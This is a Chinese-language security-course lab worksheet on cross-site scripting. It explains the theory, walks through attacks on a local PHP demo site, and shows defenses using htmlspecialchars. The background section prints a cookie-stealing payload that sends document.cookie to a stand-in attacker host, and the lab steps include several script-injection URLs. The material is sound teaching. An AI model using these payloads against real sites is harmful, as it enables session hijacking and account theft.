课程编写 | ||
类别 | 内容 | |
实验课题名称 | XSS -跨网站脚本攻击 | |
实验目的与要求 | 1.了解XSS -跨网站脚本攻击带来的危险性。 2.掌握XSS -跨网站脚本攻击的原理与方法 3.掌握防范攻击的方法 | |
实验环境 | VPC1(虚拟PC) | Windows server 2003 |
VPC1 连接要求 | PC 网络接口,本地连接与实验网络直连 | |
软件描述 | 1、学生机要求安装java环境 | |
实验环境描述 | 1、 学生机与实验室网络直连; 2、 VPC1与实验室网络直连; 3、 学生机与VPC1物理链路连通; | |
预备知识 | XSS是Cross Site Scripting的缩写,意思是跨网站脚本攻击,也有人称为跨网站攻击或跨网页攻击. Cross Site Scripting的缩写原本应该是CSS,但为了与CSS排版样本(Cascading Style Sheet)进行区别,因此缩写改成XSS。 几乎所有的Web应用程序都用cookie来保存特定用户的账号与密码等信息。例如电子邮件信箱、购物、音乐下载及银行等网站,都是使用cookie来进行用户身份认证的。 跨网站脚本攻击是最常被黑客用来攻击Web应用程序的方式,黑客最主要的目的就是读取网站用户的cookie或是其他隐私数据。这些cookie或隐私数据包含应用程序的登录设置、重要的网页文件位置、用户的账号、密码、信用卡号,甚至银行账户的存提款记录等。 一旦黑客取得了网站用户的账号与密码等记录,他就可以伪装这个目标用户的身份来登录网站。读取用户的电子邮件,使用信用卡号来购物付款,甚至提领目标用户的银行存款。 跨网站脚本攻击之所以会发生,是因为网站的Web应用程序对用户的输入数据没有进行检验。黑客将攻击用的JavaScript程序代码加在HTTP链接的后面,Web应用程序直接执行这个HTTP链接,因而让攻击用的JavaScript程序代码被启动。 要启动跨网站脚本攻击时,黑客会发送类似下面的HTTP链接给目标用户:http://www.vulnerable.site/index.php?user=<script>document.location= "http://www.atacker.site/get.php?cookie="+document.cookie;</script> www.vulnerable.site是一个有XSS漏洞的网站,而目标用户不幸就是这个网站的会员。这个网站的index.php网页会读取URL参数user的值来当做用户的账号。 黑客在URL参数user的后面加上JavaScript程序代码: user=<script>document.location="http://www.atacker.site/get.php?cookie="+document.cookie;</script> 当有XSS漏洞的网站读取了user的值,并且使用echo等函数来输出到屏幕时,隐藏在user后面的JavaScript程序代码就会被执行。 首先,document.location用来将目标用户的浏览器地址跳转到www.atacker.site 的get.php网页,www.atacker.site是黑客的网站。get.php网页的URL参数cookie的值document.cookie就是目标用户的cookie值,黑客因此能够取得目标用户的cookie数据。 这段JavaScript代码就是一段跨网站脚本,因为它会跨过有XSS漏洞的网站来对目标用户进行攻击。有XSS漏洞的网站与目标用户都不知道发生过什么事情,目标用户的cookie数据就莫名其妙地被黑客获取了。 黑客发送给目标用户的HTTP链接可能会隐藏在电子邮件或图片中,目标用户没有多加留意就单击了这个HTTP链接,因而执行了HTTP链接中的JavaScript代码,让黑客获得目标用户的cookie数据。 跨网站脚本攻击的步骤如图所示。
| |
实验内容 |
1.了解XSS -跨网站脚本攻击带来的危险性。 2.掌握XSS -跨网站脚本攻击的原理与方法 3.掌握防范攻击的方法 | |
实验步骤 |
1、 学生单击实验拓扑按钮,进入实验场景,进入目标主机,(第一次启动目标主机,还需要安装java控件),如图所示: 2.打开虚拟机,输入用户名和密码,用户为Adminsitrator 密码为 123456
3.打开浏览器,输入http://localhost:8080/example_code/ 如图:
4、找到“(4)跨网站脚本攻击(Cross Site Script,XSS)”项,并点击打开,如图1。
5、开始攻击
攻击一: 打开“演示1”,以用户名daniel,密码123456登录,然后点击登录,如图2:
6、会出现提示信息,是否记住密码,可以选择是也可以选择否,这里我们选择否,并勾选上“不在保存密码”。如图:
7、使用者的账号已经使用隐藏字段user保存起来,你将会看到如下效果,如图3。
8、然后开始攻击,打开“攻击1”开始攻击,浏览器地址栏里就会显示显示出user的信息,如图4:
9、攻击二: 打开“攻击2”,点击“点击这里”链接,浏览器就会弹出一个框,显示用户的用户名以及密码,如下图:
注:如果单击超链接后没有显示对话框,请您检查下列两个事项: (1) 检查Internet Explorer的活动脚本功能是否打开。如果活动脚本功能没有打开,就无法执行网页中的Javascript代码。 (2) 检查PHP的php.ini文件中的magic_quotes_gpc的设置值是否设置为Off。
10、相对“攻击2”的防护如下:
点击“防护2”然后点击“点击这里”,就会执行下列的HTTP链接: http://localhost:8080/example_code/source/code4/ex4-2.php?user=<script>alert(document.cookie);</script> 此跨网站脚本会变成普通的字符串,而不是能够在客户端执行的JavaScript代码。效果如图所示:
htmlspecialchars函数将<script>alert(document.cookie);</script>转换成: <script>alert(document.cookie);</script> ● “<”字符被转换成HTML字符码<; ● “>”字符被转换成HTML字符码>。
由于htmlspecialchars函数的作用,在c:\xampp\htdocs\example_code\source\code4\ex4-2-attack-1.html文件中的隐藏跨网站脚本的HTTP链接:<script>alert(document.cookie);</script> 会被当成普通的字符串来显示,而不再是可以执行的JavaScript代码。
11、攻击三:
点击“攻击3”地址就转到 http://localhost:8080/example_code/source/code4/ex4-3-attack.html如图:
12、然后点击“点击这里”地址跳转到一下地址: http://localhost:8080/example_code/source/code4/ex4-3.php/%22><script>alert(document.cookie);</script> 执行结果如下图所示。
在这里又出现了对话框,显示了使用者刚才输入的账号与密码。
13、防护方法: (1)拆解<form>标签的内容 现在我们来看看ex4-3.php的<form>标签的内容: <form action=" example_code/source/code4/ex4-3.php/"><script>alert(document.cookie);</script>" method="post"> 这可以分解成3部分。 (1) <form action=" example_code/source/code4/ex4-3.php/">:这是<form>标签现在的内容,只剩下action属性,method属性已经不见了。 (2) <script>alert(document.cookie);</script>:这是可执行的JavaScript代码。 (3)"method="post">:这是剩下的没有意义的字符串。
(2)避免$_SERVER["PHP_SELF"]被篡改可以加上htmlspecialchars函数 源码请查看:C:/xampp/htdocs/example_code/source/code4/ex4-4.php 基本上如果是将表单数据传送给同一个文件处理时:<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">action属性是不需要的,将action属性设置为空字符串:<form action="" method="post">就可以直接避免$_SERVER["PHP_SELF"]服务器变量被跨网站脚本篡改的问题。
14、实验完毕,关闭虚拟机和所有窗口。 |